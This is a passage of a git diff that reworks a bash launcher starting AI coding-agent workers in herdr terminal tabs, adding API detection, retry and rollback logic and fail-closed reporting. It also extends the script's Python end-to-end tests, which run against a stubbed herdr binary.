-    pane = (r.get("root_pane") or {}).get("pane_id") or ""
-    tab = r.get("tab_id") or (r.get("root_pane") or {}).get("tab_id") or ""
+    root = r.get("root_pane") or {}
+    pane = root.get("pane_id") or (r.get("pane") or {}).get("pane_id") or r.get("pane_id") or ""
+    tab = (r.get("tab") or {}).get("tab_id") or r.get("tab_id") or root.get("tab_id") or ""
     print(pane + "|" + tab)
 except Exception:
     print("|")'
@@ -239,6 +360,105 @@ HERDR_WORKSPACE_ID=$ws_clean is not a valid workspace on this herdr server (like
   printf '%s\n' "$line"
 }
 
+# ---- modern-launch outcome helpers ----------------------------------------
+# These read $workspace / $pane / $tab / $agent_name from the launch scope; they
+# exist to keep the three outcome shapes (success, rolled-back failure, fail-closed
+# unverified) in ONE place instead of repeated inline at every error site.
+
+# classify_start_failure <rc> <stderr-blob> → busy | definitive | ambiguous
+#   busy       herdr refused because the pane's shell was not at a prompt yet. This
+#              is THE failure right after `tab create` (a login shell running
+#              direnv/sops/ssh-add takes seconds), so it is retried — bounded, and
+#              ONLY for this exact code. Every other error retries nothing.
+#   definitive herdr rejected the call before touching the pane, so nothing was
+#              started and the created tab can be rolled back: a usage error (exit
+#              2, plain text — "unsupported interactive agent kind", "missing
+#              required --pane", "unknown option: …") or a no-such-pane/placement
+#              error code.
+#   ambiguous  anything else, INCLUDING a readiness timeout: the worker may be
+#              coming up in that pane. Never rolled back, never retried — reported
+#              as blocked=unverified so the user inspects the tab.
+classify_start_failure() {
+  local rc="$1" blob="$2" code
+  [ "$rc" = 2 ] && { printf 'definitive\n'; return 0; }
+  code="$(printf '%s' "$blob" | tr -dc '[:print:]\t\n' | python3 -c "$extract_herdr_error" 2>/dev/null || true)"
+  code="${code%%|*}"
+  case "$code" in
+    agent_pane_busy) printf 'busy\n' ;;
+    agent_pane_not_found|agent_target_not_found|agent_placement_not_found|pane_not_found)
+      printf 'definitive\n' ;;
+    *) printf 'ambiguous\n' ;;
+  esac
+}
+
+# rollback_tab <tab-id> → closed | unverified. Undo a tab THIS run created, exactly
+# once. Delegates to herdr-teardown.sh's `close-tab`, the single source of truth for
+# close-then-confirm (it closes once, never re-issues — a recycled tab id would
+# otherwise kill an unrelated live tab — and polls until the tab is gone). Nothing
+# to close counts as `closed`; anything we cannot confirm is `unverified`, so an
+# unconfirmed rollback is never reported to the user as a clean failure.
+rollback_tab() {
+  local t="${1:-}" td state
+  [ -n "$t" ] || { printf 'closed\n'; return 0; }
+  td="${0%/*}/herdr-teardown.sh"
+  [ -f "$td" ] || { printf 'unverified\n'; return 0; }
+  state="$(bash "$td" close-tab "$t" "$workspace" 2>/dev/null || echo unverified)"
+  case "$state" in closed) printf 'closed\n' ;; *) printf 'unverified\n' ;; esac
+}
+
+# emit_unverified — the fail-closed launch outcome (exit 0, `blocked` FIRST).
+emit_unverified() {
+  printf 'blocked=unverified\npane=%s\ntab=%s\nagent=%s\n' "${pane:-}" "${tab:-}" "${agent_name:-}"
+}
+
+# fail_definitive <message…> — a failure we KNOW left no worker running: report it,
+# roll the created tab back, exit 1 so the caller shows the manual block. If the
+# rollback cannot be CONFIRMED, the outcome is downgraded to blocked=unverified —
+# a tab that may still exist (possibly with something in it) must not be reported
+# as a clean failure.
+fail_definitive() {
+  printf '%s\n' "$*" >&2
+  local rb; rb="$(rollback_tab "${tab:-}")"
+  if [ "$rb" = closed ]; then
+    [ -n "${tab:-}" ] && printf 'rolled back the tab created for this launch (%s)\n' "$tab" >&2
+    exit 1
+  fi
+  printf 'could not confirm that the tab created for this launch (%s) was closed — check it by hand\n' "${tab:-?}" >&2
+  emit_unverified
+  exit 0
+}
+
+# pane_agent_kind <pane> — what herdr currently detects in that pane ("" = nothing).
+pane_agent_kind() {
+  herdr pane get "$1" 2>/dev/null | python3 -c "$extract_pane_agent" 2>/dev/null || true
+}
+
+# pane_has_marker <pane> <token> — is the wrapper's seed-failure marker on screen?
+# `--source visible` is the snapshot that actually holds a settled pane's text; the
+# default `recent` returns nothing once output has stopped (verified live).
+pane_has_marker() {
+  herdr pane read "$1" --source visible --lines 200 --format text 2>/dev/null \
+    | grep -qF -- "$2"
+}
+
+# wait_shell_ready <pane> → ready | busy | unknown. Bounded wait for the pane to be
+# back at ITS OWN shell prompt before typing into it (the `pane run` path has no
+# herdr-side readiness check the way `agent start` does). `unknown` means herdr
+# cannot answer at all (no process-info) — the caller degrades and proceeds rather
+# than blocking a launch forever, since the detection step still gates success.
+wait_shell_ready() {
+  local p="$1" i=0 st=unknown
+  while [ "$i" -lt "$READY_TRIES" ]; do
+    st="$(herdr pane process-info --pane "$p" 2>/dev/null | python3 -c "$extract_shell_ready" 2>/dev/null || echo unknown)"
+    case "$st" in
+      ready|unknown) printf '%s\n' "$st"; return 0 ;;
+    esac
+    i=$((i + 1))
+    sleep "$RETRY_DELAY" 2>/dev/null || true
+  done
+  printf 'busy\n'
+}
+
 case "$mode" in
   launch)
     # Build the worker argv. The registry is the single source of truth for the
@@ -251,6 +471,15 @@ case "$mode" in
     worker_argv=()
     agent_name="claude"
     note=""
+    pane=""
+    tab=""
+    argv_shell=""
+    # Modern-herdr transport, declared by the registry (never inferred here). The
+    # no-selector legacy default IS a canonical `claude` invocation, so it carries
+    # the same agent-start/claude contract.
+    herdr_mode="agent-start"
+    herdr_kind="claude"
+    herdr_marker=""
     if [ -z "$selector" ]; then
       # Plugin-qualified: a CC built-in/alias `/continue` shadows the skill.
       worker_argv=(claude -n "$session" "/work-system:continue")
@@ -270,9 +499,13 @@ case "$mode" in
       rm -f "$resolve_err"
       while IFS= read -r line; do
         case "$line" in
-          argv=*) worker_argv+=("${line#argv=}") ;;
-          name=*) agent_name="${line#name=}" ;;
-          note=*) note="${line#note=}" ;;
+          argv=*)         worker_argv+=("${line#argv=}") ;;
+          argv_shell=*)   argv_shell="${line#argv_shell=}" ;;
+          name=*)         agent_name="${line#name=}" ;;
+          note=*)         note="${line#note=}" ;;
+          herdr_mode=*)   herdr_mode="${line#herdr_mode=}" ;;
+          herdr_kind=*)   herdr_kind="${line#herdr_kind=}" ;;
+          herdr_marker=*) herdr_marker="${line#herdr_marker=}" ;;
         esac
       done <<EOF_RESOLVE
 $resolve_out
@@ -285,41 +518,220 @@ EOF_RESOLVE
       [ ${#worker_argv[@]} -gt 0 ] || { echo "agent-registry resolved no argv for $selector" >&2; exit 1; }
     fi
 
-    # Spawn the worker as argv and read back the pane id. stderr is captured (not
-    # discarded) so a failure can surface herdr's actual error.code/message instead
-    # of only the generic "no pane id" guard below.
-    start_err="$(mktemp)"
-    start_json="$(herdr agent start "$label" --workspace "$workspace" \
-      --cwd "$worktree" --no-focus -- "${worker_argv[@]}" 2>"$start_err" || true)"
-    pane="$(printf '%s' "$start_json" | python3 -c "$extract_agent_pane" 2>/dev/null || true)"
-
-    # Empty pane id → the agent did not start (broken socket / bad response).
-    # Print herdr's own error first when captured — the generic message stays as
-    # the last-resort fallback for a truly pane-less/malformed response.
-    if [ -z "$pane" ]; then
-      diag="$(herdr_diag "$(cat "$start_err")" "$workspace" 1)"
+    # Which contract does this herdr speak? Decided BEFORE anything is created or
+    # started, so an unrecognizable herdr stops here instead of guessing and
+    # leaving a blank tab behind.
+    api="$(detect_launch_api)"
+    case "$api" in
+      modern|legacy) : ;;
+      *)
+        echo "cannot identify this herdr's 'agent start' contract: its --help offers neither --kind/--pane (0.7.5+) nor --workspace/--cwd (0.7.0-0.7.4)" >&2
+        echo "nothing was created and no worker was started — start it by hand" >&2
+        exit 1
+        ;;
+    esac
+
+    if [ "$api" = legacy ]; then
+      # ---- LEGACY (herdr 0.7.0-0.7.4): herdr places the agent, we move it ----
+      # Spawn the worker as argv and read back the pane id. stderr is captured (not
+      # discarded) so a failure can surface herdr's actual error.code/message instead
+      # of only the generic "no pane id" guard below.
+      start_err="$(mktemp)"
+      start_json="$(herdr agent start "$label" --workspace "$workspace" \
+        --cwd "$worktree" --no-focus -- "${worker_argv[@]}" 2>"$start_err" || true)"
+      pane="$(printf '%s' "$start_json" | python3 -c "$extract_agent_pane" 2>/dev/null || true)"
+
+      # Empty pane id → the agent did not start (broken socket / bad response).
+      # Print herdr's own error first when captured — the generic message stays as
+      # the last-resort fallback for a truly pane-less/malformed response.
+      if [ -z "$pane" ]; then
+        diag="$(herdr_diag "$(cat "$start_err")" "$workspace" 1)"
+        rm -f "$start_err"
+        [ -n "$diag" ] && printf '%s\n' "$diag" >&2
+        echo "herdr agent start did not return a pane id" >&2
+        exit 1
+      fi
       rm -f "$start_err"
+
+      # caller's tab). If the move fails, the worker is still running — report it in
+      # place rather than claiming a tab that does not exist. `agent=` tells the
+      # caller which CLI×model was launched; the tab uses the glyph-stamped label.
+      move_err="$(mktemp)"
+      if move_json="$(herdr pane move "$pane" --new-tab --label "$tab_label" --no-focus 2>"$move_err")"; then
+        tab="$(printf '%s' "$move_json" | python3 -c "$extract_moved_tab" 2>/dev/null || true)"
+        rm -f "$move_err"
+        printf 'pane=%s\ntab=%s\nmoved=yes\nagent=%s\n' "$pane" "$tab" "$agent_name"
+      else
+        diag="$(herdr_diag "$(cat "$move_err")" "$workspace" 0)"
+        rm -f "$move_err"
+        [ -n "$diag" ] && printf '%s\n' "$diag" >&2
+        echo "herdr pane move --new-tab failed for pane $pane (worker still running; no dedicated tab)" >&2
+        printf 'pane=%s\ntab=\nmoved=no\nagent=%s\n' "$pane" "$agent_name"
+      fi
+      exit 0
+    fi
+
+    # ---- MODERN (herdr 0.7.5+): create the tab, then start into its pane ----
+    # Validate the transport FIRST — an entry this launcher cannot start must fail
+    # before `tab create`, or every attempt leaves a blank tab behind.
+    native_argv=()
+    case "$herdr_mode" in
+      agent-start)
+        if [ -z "$herdr_kind" ]; then
+          echo "agent $agent_name declares herdr_mode=agent-start without a herdr_kind — refusing to launch (nothing was created)" >&2
+          exit 1
+        fi
+        # `--kind` names herdr's canonical executable, so the resolved argv must
+        # START with exactly that word and we drop exactly that word. No rebuilding:
+        # every remaining argument keeps its order and boundaries (the one-word
+        # bootstrap prompt for codex/grok, the one-word /work-system:continue for
+        # claude), which is why this is a check and not a transformation.
+        if [ "${worker_argv[0]}" != "$herdr_kind" ]; then
+          echo "agent $agent_name resolves to '${worker_argv[0]}' but declares herdr kind '$herdr_kind' — refusing to launch (nothing was created)" >&2
+          exit 1
+        fi
+        [ "${#worker_argv[@]}" -gt 1 ] && native_argv=("${worker_argv[@]:1}")
+        ;;
+      pane-run)
+        if [ -z "$herdr_kind" ] || [ -z "$argv_shell" ]; then
+          echo "agent $agent_name declares herdr_mode=pane-run but is missing herdr_kind/argv_shell — refusing to launch (nothing was created)" >&2
+          exit 1
+        fi
+        ;;
+      *)
+        echo "agent $agent_name declares an unknown herdr transport '${herdr_mode:-<empty>}' — refusing to launch (nothing was created)" >&2
+        exit 1
+        ;;
+    esac
+
+    # Create the FINAL tab up front (background, glyph-stamped label) and read back
+    # its root pane. From here on any failure has a tab to account for.
+    create_err="$(mktemp)"
+    create_json="$(herdr tab create --workspace "$workspace" --cwd "$worktree" \
+      --label "$tab_label" --no-focus 2>"$create_err" || true)"
+    pane_tab="$(printf '%s' "$create_json" | python3 -c "$extract_root_pane_tab" 2>/dev/null || true)"
+    pane="${pane_tab%%|*}"
+    tab="${pane_tab#*|}"
+    if [ -z "$pane" ]; then
+      # No pane → nothing can be started here. A tab id that DID parse belongs to a
+      # real tab that would be orphaned, so fail_definitive closes it (once, verified).
+      diag="$(herdr_diag "$(cat "$create_err")" "$workspace" 1)"
+      rm -f "$create_err"
       [ -n "$diag" ] && printf '%s\n' "$diag" >&2
-      echo "herdr agent start did not return a pane id" >&2
-      exit 1
+      fail_definitive "herdr tab create did not return a root pane id"
     fi
-    rm -f "$start_err"
-
-    # caller's tab). If the move fails, the worker is still running — report it in
-    # place rather than claiming a tab that does not exist. `agent=` tells the
-    # caller which CLI×model was launched; the tab uses the glyph-stamped label.
-    move_err="$(mktemp)"
-    if move_json="$(herdr pane move "$pane" --new-tab --label "$tab_label" --no-focus 2>"$move_err")"; then
-      tab="$(printf '%s' "$move_json" | python3 -c "$extract_moved_tab" 2>/dev/null || true)"
-      rm -f "$move_err"
+    rm -f "$create_err"
+
+    if [ "$herdr_mode" = agent-start ]; then
+      # ---- native worker: hand the argv TAIL to --kind, unchanged ----
+      attempt=0
+      while : ; do
+        start_rc=0
+        start_err="$(mktemp)"
+        if [ "${#native_argv[@]}" -gt 0 ]; then
+          start_json="$(herdr agent start "$label" --kind "$herdr_kind" --pane "$pane" \
+            --timeout "$START_TIMEOUT_MS" -- "${native_argv[@]}" 2>"$start_err")" || start_rc=$?
+        else
+          start_json="$(herdr agent start "$label" --kind "$herdr_kind" --pane "$pane" \
+            --timeout "$START_TIMEOUT_MS" 2>"$start_err")" || start_rc=$?
+        fi
+        start_blob="$(cat "$start_err")"
+        rm -f "$start_err"
+        [ "$start_rc" = 0 ] && break
+
+        class="$(classify_start_failure "$start_rc" "$start_blob")"
+        # Retry ONLY the "shell not ready yet" rejection, bounded. Everything else
+        # falls straight through — a retry loop over an unrelated error is how a
+        # launcher ends up starting two workers.
+        if [ "$class" = busy ] && [ "$attempt" -lt "$BUSY_TRIES" ]; then
+          attempt=$((attempt + 1))
+          sleep "$RETRY_DELAY" 2>/dev/null || true
+          continue
+        fi
+
+        # This call never sends --workspace, so a placement error here cannot be a
+        # stale-workspace problem: ws_relevant=0 keeps that hint off.
+        diag="$(herdr_diag "$start_blob" "$workspace" 0)"
+        [ -n "$diag" ] && printf '%s\n' "$diag" >&2
+        if [ "$class" = busy ]; then
+          fail_definitive "pane $pane never reached an interactive shell prompt (herdr kept reporting agent_pane_busy over $BUSY_TRIES retries) — nothing was started"
+        fi
+        if [ "$class" = definitive ]; then
+          fail_definitive "herdr agent start --kind $herdr_kind was rejected before starting anything in pane $pane"
+        fi
+        echo "herdr agent start --kind $herdr_kind did not confirm the worker in pane $pane — it may still be coming up, so the tab was left alone" >&2
+        emit_unverified
+        exit 0
+      done
+
+      # A successful modern start must report back the SAME pane we asked for.
+      # Anything else (missing, malformed, a different id) means we cannot say what
+      # ran where — and since herdr claimed success, something may well be running
+      # in that tab, so this is NOT a rollback case.
+      started_pane="$(printf '%s' "$start_json" | python3 -c "$extract_agent_pane" 2>/dev/null || true)"
+      if [ "$started_pane" != "$pane" ]; then
+        echo "herdr agent start reported success for pane '${started_pane:-<none>}' but the worker was requested in $pane — cannot confirm the launch" >&2
+        emit_unverified
+        exit 0
+      fi
+      # `moved=yes` = the verified worker is in its own dedicated tab. On this path
+      # no physical move happened (the tab was created first); the key is kept for
+      # caller compatibility.
       printf 'pane=%s\ntab=%s\nmoved=yes\nagent=%s\n' "$pane" "$tab" "$agent_name"
-    else
-      diag="$(herdr_diag "$(cat "$move_err")" "$workspace" 0)"
-      rm -f "$move_err"
+      exit 0
+    fi
+
+    # ---- wrapper worker (herdr_mode=pane-run) ----
+    # The registry's argv_shell is sent as EXACTLY ONE `pane run` command word: no
+    # eval, no re-quoting, no ${array[*]} — the registry already quoted it for a
+    # POSIX shell, and re-quoting a script carrying `;`/`exec` is how a paste ends
+    # up replacing the wrong shell.
+    ready="$(wait_shell_ready "$pane")"
+    if [ "$ready" = busy ]; then
+      fail_definitive "pane $pane never reached its shell prompt within the readiness window — nothing was typed into it"
+    fi
+    run_rc=0
+    run_err="$(mktemp)"
+    herdr pane run "$pane" "$argv_shell" >/dev/null 2>"$run_err" || run_rc=$?
+    run_blob="$(cat "$run_err")"
+    rm -f "$run_err"
+    if [ "$run_rc" != 0 ]; then
+      diag="$(herdr_diag "$run_blob" "$workspace" 0)"
       [ -n "$diag" ] && printf '%s\n' "$diag" >&2
-      echo "herdr pane move --new-tab failed for pane $pane (worker still running; no dedicated tab)" >&2
-      printf 'pane=%s\ntab=\nmoved=no\nagent=%s\n' "$pane" "$agent_name"
+      if [ "$(classify_start_failure "$run_rc" "$run_blob")" = definitive ]; then
+        fail_definitive "herdr pane run could not deliver the $agent_name wrapper to pane $pane"
+      fi
+      echo "herdr pane run returned an error for pane $pane but may still have delivered the command — the tab was left alone" >&2
+      emit_unverified
+      exit 0
     fi
+
+    # Bounded detection. Success is ONLY herdr recognizing the expected worker in
+    # this exact pane; a timeout, a different kind, or an unreadable state is
+    # reported as unverified — never as success, and never as a reason to start a
+    # second one. The wrapper's seed-failure marker is the one signal that IS
+    # definitive: it proves the worker exited without starting the task.
+    i=0
+    while [ "$i" -lt "$DETECT_TRIES" ]; do
+      detected="$(pane_agent_kind "$pane")"
+      if [ "$detected" = "$herdr_kind" ]; then
+        printf 'pane=%s\ntab=%s\nmoved=yes\nagent=%s\n' "$pane" "$tab" "$agent_name"
+        exit 0
+      fi
+      if [ -n "$herdr_marker" ] && pane_has_marker "$pane" "$herdr_marker"; then
+        fail_definitive "the $agent_name worker's seed phase failed in pane $pane (marker: $herdr_marker) — TASK.md was not started"
+      fi
+      if [ -n "$detected" ]; then
+        echo "herdr detects '$detected' in pane $pane, not the expected '$herdr_kind' — cannot confirm the launch" >&2
+        emit_unverified
+        exit 0
+      fi
+      i=$((i + 1))
+      sleep "$RETRY_DELAY" 2>/dev/null || true
+    done
+    echo "the $agent_name worker did not become detectable as '$herdr_kind' in pane $pane within the detection window — it may still be starting, so the tab was left alone" >&2
+    emit_unverified
+    exit 0
     ;;
 
   resume)
diff --git a/plugins/work-system/scripts/test_herdr_launch.py b/plugins/work-system/scripts/test_herdr_launch.py
index 351d762..dad1d83 100644
--- a/plugins/work-system/scripts/test_herdr_launch.py
+++ b/plugins/work-system/scripts/test_herdr_launch.py
@@ -1,17 +1,28 @@
 #!/usr/bin/env python3
-"""Tests for herdr-launch.sh's error-diagnostics path (herdr_diag) — run
-standalone (`python3 test_herdr_launch.py`) or via check-structure.py's
-"plugin tests" check.
-
-A fake `herdr` binary on PATH returns canned JSON/text on stderr for each
-subcommand, so these tests exercise the REAL herdr-launch.sh end to end (not
-herdr_diag in isolation) against the exact integration surface skills call.
-Covers: the JSON error-schema extraction, the ws_relevant-gated + clause-
-bounded stale-workspace hint (the real w9 incident, the "unrelated clause"
-false-positive a loose AND-of-substrings would trip, case-insensitivity, and
-an ERE-metachar workspace id), the double control-byte strip (pre- AND
-post-JSON-decode, plus $ws itself), the tab-close cleanup diagnostic, and that
-the stdout key=value contract is untouched by any of this on the success path.
+"""Tests for herdr-launch.sh — run standalone (`python3 test_herdr_launch.py`) or
+via check-structure.py's "plugin tests" check.
+
+A fake `herdr` binary on PATH returns canned JSON/text per subcommand (and can
+return a DIFFERENT canned response per call, so a detection poll can change its
+answer), so these tests exercise the REAL herdr-launch.sh end to end against the
+exact integration surface skills call.
+
+Covers:
+  * error diagnostics — the JSON error-schema extraction, the ws_relevant-gated +
+    clause-bounded stale-workspace hint (the real w9 incident, the "unrelated
+    clause" false positive a loose AND-of-substrings would trip,
+    case-insensitivity, an ERE-metachar workspace id), the double control-byte
+    strip, and the tab-close cleanup diagnostic;
+  * launch API capability detection — modern (--kind/--pane), legacy
+    (--workspace/--cwd), and an unrecognizable help that must mutate NOTHING;
+  * the legacy path's unchanged sequence and stdout contract;
+  * the modern tab-create → agent-start path for claude/codex/grok, incl. exact
+    kind/pane, argv boundaries, no duplicated executable and no `pane move`;
+  * the modern pane-run path for wrapper workers (kimi): one-command delivery,
+    bounded expected-kind detection, the seed-failure marker, wrong-kind and
+    timeout → blocked=unverified with no retry;
+  * rollback — exactly-once tab close on definitive failures, no rollback on
+    ambiguous ones, and an unconfirmed rollback downgrading to unverified.
 """
 import json as jsonlib
 import os
@@ -25,6 +36,53 @@
 
 FAILS = []
 
+# --- canned herdr responses ------------------------------------------------ #
+MODERN_HELP = (
+    "Start a supported interactive agent in an existing pane\n\n"
+    "Usage: herdr agent start <NAME> --kind <KIND> --pane <ID> [-- [AGENT_ARG]...]\n"
+    "      --kind <KIND>\n      --pane <ID>\n      --timeout <MS>\n"
+)
+LEGACY_HELP = (
+    "Start an agent\n\n"
+    "Usage: herdr agent start <NAME> [OPTIONS] [-- [AGENT_ARG]...]\n"
+    "      --workspace <WORKSPACE_ID>\n      --cwd <PATH>\n      --no-focus\n"
+)
+UNKNOWN_HELP = "Usage: herdr agent start <NAME>\n      --wat <WAT>\n"
+
+TAB_CREATED = jsonlib.dumps({"result": {
+    "root_pane": {"pane_id": "w1:p7", "tab_id": "w1:t7"},
+    "tab": {"tab_id": "w1:t7", "label": "t"},
+}})
+AGENT_STARTED = jsonlib.dumps({"result": {"agent": {
+    "agent": "claude", "pane_id": "w1:p7", "interactive_ready": True}}})
+LEGACY_STARTED = jsonlib.dumps({"result": {"agent": {"pane_id": "w1:p5"}}})
+LEGACY_MOVED = jsonlib.dumps({"result": {"move_result": {"created_tab": {"tab_id": "w1:t9"}}}})
+SHELL_READY = jsonlib.dumps({"result": {"process_info": {
+    "foreground_process_group_id": 4242, "shell_pid": 4242}}})
+SHELL_BUSY = jsonlib.dumps({"result": {"process_info": {
+    "foreground_process_group_id": 4243, "shell_pid": 4242}}})
+BUSY_ERR = jsonlib.dumps({"error": {
+    "code": "agent_pane_busy", "message": "pane w1:p7 is not at a shell prompt"}})
+NO_PANE_ERR = jsonlib.dumps({"error": {
+    "code": "agent_pane_not_found", "message": "agent target pane w1:p7 not found"}})
+
+
+def pane_get(agent=None):
+    p = {"pane_id": "w1:p7", "tab_id": "w1:t7", "agent_status": "unknown"}
+    if agent:
+        p["agent"] = agent
+        p["agent_status"] = "idle"
+    return jsonlib.dumps({"result": {"pane": p}})
+
+
+# `pane list` for herdr-teardown.sh's close-tab verification: a populated list
+# that does NOT contain w1:t7 reads as "gone" → the close is CONFIRMED.
+PANE_LIST_GONE = jsonlib.dumps({"result": {"panes": [
+    {"pane_id": "w1:p1", "tab_id": "w1:t1", "cwd": "/nowhere"}]}})
+# ...and one that still holds it reads as "still-open" → rollback unconfirmed.
+PANE_LIST_STILL = jsonlib.dumps({"result": {"panes": [
+    {"pane_id": "w1:p7", "tab_id": "w1:t7", "cwd": "/nowhere"}]}})
+
 
 def check(name, cond):
     if not cond:
@@ -35,26 +93,62 @@ def shquote(s):
     return "'" + s.replace("'", "'\\''") + "'"
 
 
-def herdr_stub(cases):
-    """Build a fake `herdr` script from {"<argv1> <argv2>": (stdout, stderr, exit)}.
+def herdr_stub(cases, help_text=None):
+    """Build a fake `herdr` from {"<argv1> <argv2>": (stdout, stderr, exit)}.
+
+    A case value may instead be a LIST of such triples: the Nth call to that
+    subcommand gets the Nth entry and the last one repeats — which is how a
+    detection poll (`pane get` returning a shell, then the worker) or a bounded
+    busy-retry is modelled.
+
+    `help_text` answers `agent start --help` before anything else, so capability
+    detection can be exercised for real instead of only via the env override.
 
     When $HERDR_ARGV_LOG is set, every call appends a `=== <subcmd>` header line
     followed by each received arg on its own line — so a test can assert the exact
     argv herdr-launch.sh execs (e.g. the worker argv after `agent start … --`)."""
-    lines = [
-        "#!/usr/bin/env bash",
+    lines = ["#!/usr/bin/env bash"]
+    if help_text is not None:
+        lines += [
+            'if [ "$1 $2" = "agent start" ] && [ "$3" = "--help" ]; then',
+            f"  printf '%s' {shquote(help_text)}",
+            "  exit 0",
+            "fi",
+        ]
+    lines += [
         'if [ -n "${HERDR_ARGV_LOG:-}" ]; then',
         '  { printf \'=== %s\\n\' "$1 $2"; printf \'%s\\n\' "$@"; } >> "$HERDR_ARGV_LOG"',
         "fi",
         'case "$1 $2" in',
     ]
-    for key, (out, err, rc) in cases.items():
+    for key, value in cases.items():
+        seq = value if isinstance(value, list) else [value]
         lines.append(f'  "{key}")')
-        if out:
-            lines.append(f"    printf '%s' {shquote(out)}")
-        if err:
-            lines.append(f"    printf '%s' {shquote(err)} >&2")
-        lines.append(f"    exit {rc}")
+        if len(seq) == 1:
+            out, err, rc = seq[0]
+            if out:
+                lines.append(f"    printf '%s' {shquote(out)}")
+            if err:
+                lines.append(f"    printf '%s' {shquote(err)} >&2")
+            lines.append(f"    exit {rc}")
+        else:
+            slug = key.replace(" ", "_")
+            lines += [
+                f'    n=$(cat "$HERDR_STUB_STATE/{slug}" 2>/dev/null || echo 0)',
+                "    n=$((n + 1))",
+                f'    printf %s "$n" > "$HERDR_STUB_STATE/{slug}"',
+                "    case $n in",
+            ]
+            for i, (out, err, rc) in enumerate(seq, start=1):
+                pat = f"{i})" if i < len(seq) else "*)"
+                lines.append(f"      {pat}")
+                if out:
+                    lines.append(f"        printf '%s' {shquote(out)}")
+                if err:
+                    lines.append(f"        printf '%s' {shquote(err)} >&2")
+                lines.append(f"        exit {rc}")
+                lines.append("        ;;")
+            lines.append("    esac")
         lines.append("    ;;")
     lines.append('  *) echo "unhandled herdr stub call: $*" >&2; exit 9 ;;')
     lines.append("esac")
@@ -63,20 +157,36 @@ def herdr_stub(cases):
 
 class Env:
     """A throwaway PATH with a fake `herdr` stub, plus a worktree dir for
-    herdr-launch.sh to target."""
+    herdr-launch.sh to target.
+
+    `api` pins $WORK_SYSTEM_HERDR_API so a test states which contract it is
+    exercising; pass api=None to let the script probe `agent start --help` for
+    real (then give the stub a `help_text`)."""
 
-    def __init__(self, cases, log_argv=False):
+    def __init__(self, cases, log_argv=False, api="legacy", help_text=None):
         self.tmp = tempfile.TemporaryDirectory()
         root = Path(self.tmp.name)
         self.worktree = root / "wt"
         self.worktree.mkdir()
+        state = root / "state"
+        state.mkdir()
         bindir = root / "bin"
         bindir.mkdir()
         herdr = bindir / "herdr"
-        herdr.write_text(herdr_stub(cases))
+        herdr.write_text(herdr_stub(cases, help_text))
         herdr.chmod(0o755)
         self.env = dict(os.environ)
         self.env["PATH"] = f"{bindir}:{self.env['PATH']}"
+        self.env["HERDR_STUB_STATE"] = str(state)
+        # Keep every bounded wait fast and deterministic.
+        self.env["WORK_SYSTEM_HERDR_RETRY_DELAY"] = "0"
+        self.env["WORK_SYSTEM_HERDR_BUSY_TRIES"] = "3"
+        self.env["WORK_SYSTEM_HERDR_READY_TRIES"] = "3"
+        self.env["WORK_SYSTEM_HERDR_DETECT_TRIES"] = "3"
+        if api is not None:
+            self.env["WORK_SYSTEM_HERDR_API"] = api
+        else:
+            self.env.pop("WORK_SYSTEM_HERDR_API", None)
         self.argv_log = root / "argv.log" if log_argv else None
         if self.argv_log is not None:
             self.env["HERDR_ARGV_LOG"] = str(self.argv_log)
@@ -87,16 +197,69 @@ def logged_argv(self):
             return []
         return self.argv_log.read_text().splitlines()
 
+    def calls(self):
+        """The recorded log as [(subcmd, [arg, ...]), ...], in call order."""
+        out, cur = [], None
+        for ln in self.logged_argv():
+            if ln.startswith("=== "):
+                cur = (ln[4:], [])
+                out.append(cur)
+            elif cur is not None:
+                cur[1].append(ln)
+        return out
+
+    def call_args(self, subcmd):
+        """Every recorded arg list for one subcommand, in order."""
+        return [args for name, args in self.calls() if name == subcmd]
+
     def run(self, *args):
         return subprocess.run(
             ["bash", str(SCRIPT), *args],
-            env=self.env, capture_output=True, text=True, timeout=20,
+            env=self.env, capture_output=True, text=True, timeout=30,
         )
 
     def close(self):
         self.tmp.cleanup()
 
 
+def kv(out):
+    """Parse the launcher's key=value stdout into a dict."""
+    d = {}
+    for line in out.splitlines():
+        if "=" in line:
+            k, v = line.split("=", 1)
+            d[k] = v
+    return d
+
+
+# A complete modern-path stub; individual tests override single keys.
+def modern_cases(**over):
+    cases = {
+        "tab create": (TAB_CREATED, "", 0),
+        "agent start": (AGENT_STARTED, "", 0),
+        "pane list": (PANE_LIST_GONE, "", 0),
+        "tab close": ('{"result":{"type":"ok"}}', "", 0),
+    }
+    cases.update(over)
+    return cases
+
+
+def wrapper_cases(**over):
+    cases = modern_cases(**{
+        "pane process-info": (SHELL_READY, "", 0),
+        "pane run": ('{"result":{"type":"ok"}}', "", 0),
+        "pane read": ("$ ", "", 0),
+        "pane get": [(pane_get(), "", 0), (pane_get("kimi"), "", 0)],
+    })
+    cases.pop("agent start")
+    cases.update(over)
+    return cases
+
+
+# ========================================================================== #
+# error diagnostics (legacy path — unchanged behaviour)
+# ========================================================================== #
+
 # --- the real incident: agent_placement_not_found names the workspace ------ #
 e = Env({"agent start": ("", jsonlib.dumps(
     {"error": {"code": "agent_placement_not_found",
@@ -137,7 +300,7 @@ def close(self):
 
 # --- ws_relevant=0 (pane move) never gets the hint, even with the trigger code #
 e = Env({
-    "agent start": (jsonlib.dumps({"result": {"agent": {"pane_id": "w1:p5"}}}), "", 0),
+    "agent start": (LEGACY_STARTED, "", 0),
     "pane move": ("", jsonlib.dumps(
         {"error": {"code": "agent_placement_not_found", "message": "pane target gone"}}), 1),
 })
@@ -182,15 +345,79 @@ def close(self):
       "herdr tab create did not return a pane id" in r.stderr)
 e.close()
 
+# --- resume still parses a flat result.tab_id (pre-0.8 shape) -------------- #
+# The create extractor is shared with the modern launch now; its fallbacks must
+# keep working for the older response shape.
+e = Env({
+    "pane list": (jsonlib.dumps(
+        {"result": {"panes": [{"tab_id": "w1:t1", "cwd": "/nowhere"}]}}), "", 0),
+    "tab create": (jsonlib.dumps(
+        {"result": {"tab_id": "w1:t9", "root_pane": {"pane_id": "w1:p9"}}}), "", 0),
+    "pane run": ("", "", 0),
+    "tab focus": ("", "", 0),
+})
+r = e.run("resume", "t", str(e.worktree), "w1")
+check("resume: flat tab_id fallback still parses",
+      kv(r.stdout).get("tab") == "w1:t9" and kv(r.stdout).get("pane") == "w1:p9")
+check("resume: reports a fresh resume", kv(r.stdout).get("resumed") == "yes")
+e.close()
+
+
+# ========================================================================== #
+# launch API capability detection
+# ========================================================================== #
+
+# --- modern help -> tab create first, agent start --kind, no pane move ----- #
+e = Env(modern_cases(), log_argv=True, api=None, help_text=MODERN_HELP)
+r = e.run("launch", "t", str(e.worktree), "w1")
+names = [n for n, _ in e.calls()]
